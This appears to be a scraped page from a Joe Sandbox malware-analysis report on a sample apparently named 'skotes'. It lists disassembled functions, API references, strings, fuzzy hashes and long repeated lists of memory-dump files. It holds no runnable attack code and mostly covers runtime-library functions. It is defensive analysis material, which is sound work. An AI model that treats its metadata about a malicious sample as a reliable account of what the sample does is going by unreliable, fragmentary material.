Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: cc1d399637825b7995c07c1b386ee161624b8b2fd756b7e037a13ad6bf491877
Instruction ID: bd10d718fd89260225b520f7148ef79460a99ab3f308cd0bfb0d1aa3b8c09eea
Opcode Fuzzy Hash: cc1d399637825b7995c07c1b386ee161624b8b2fd756b7e037a13ad6bf491877
Instruction Fuzzy Hash: 1931C375A00214EBCF15FF64C895AADB3B5FF44314F618569EC1297282EB78EE41CAA0

Function 0074727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 007472BE

Strings

.com, xrefs: 007472FE
.bat, xrefs: 007472ED
.exe, xrefs: 007472CB
.cmd, xrefs: 007472DC

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 3657c2e503f288bcd048cf188077fce013a020ab65877be9fe04dbfb1caa91c9
Instruction ID: 2ed027e8ea986c8c3872040959bf5f5b83a70be2fa9ff6a79adcd2b538252cd4
Opcode Fuzzy Hash: 3657c2e503f288bcd048cf188077fce013a020ab65877be9fe04dbfb1caa91c9
Instruction Fuzzy Hash: 30014937708A6235661C54589E42B7613988BC2BB4B26402AFC94F72C2EF8DDC42A1E0

Function 0072FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0072FB06

Strings

GetCurrentProcessorNumberEx, xrefs: 0072FABE
SetThreadGroupAffinity, xrefs: 0072FA87
kernel32.dll, xrefs: 0072FA7A
GetThreadGroupAffinity, xrefs: 0072FA93

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: ec2bf341ef78e3a7544a98723a0b0ba2e0e93e30878d5b861a63dcd6d8b7801f
Instruction ID: b895f85d0cea404ac0a04ea54f882fff515b273cc9608f2ad4189f074b248f74
Opcode Fuzzy Hash: ec2bf341ef78e3a7544a98723a0b0ba2e0e93e30878d5b861a63dcd6d8b7801f
Instruction Fuzzy Hash: 4F016DA55513216DA31473B56C4FE7B25FC8E0670CB205D3BF842E3242FDECE80041A4

Function 00742097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 007420B7

Part of subcall function 0073CAF3: Mailbox.LIBCMT ref: 0073CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007420C8
StructuredWorkStealingQueue.LIBCMT ref: 007420FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0074210F

Strings

e, xrefs: 007420D9

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: bb1a531d55561d08775a83c3054ec2611ed20ff83ce9cf7e92fa6fb737f867e8
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: D411A731101109EBDB15DE69C88566A77A4EF01364BA4C19AFC069F113DB79D913CBA0

Function 0072D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0072D0A5

Strings

SleepConditionVariableCS, xrefs: 0072D05D
kernel32.dll, xrefs: 0072D04C
WakeAllConditionVariable, xrefs: 0072D069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0072D03B

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 1ad135b9df5c978b5e7fc6ebb95c6285ca8fd92d1eaaf77b638a621ab315e385
Instruction ID: 7d2fa46b342d609e67a052a5b93c59e23f85dd0d4548dd1eae9d2a7cad3e6abe
Opcode Fuzzy Hash: 1ad135b9df5c978b5e7fc6ebb95c6285ca8fd92d1eaaf77b638a621ab315e385
Instruction Fuzzy Hash: CB01D6A0B9372169FA313B757C05F6B119CDF43B8CF495A11AC05E32A0D9DCDC4185B6

Function 0073E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0073E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0073E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0073E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0073E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0073E9DC

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
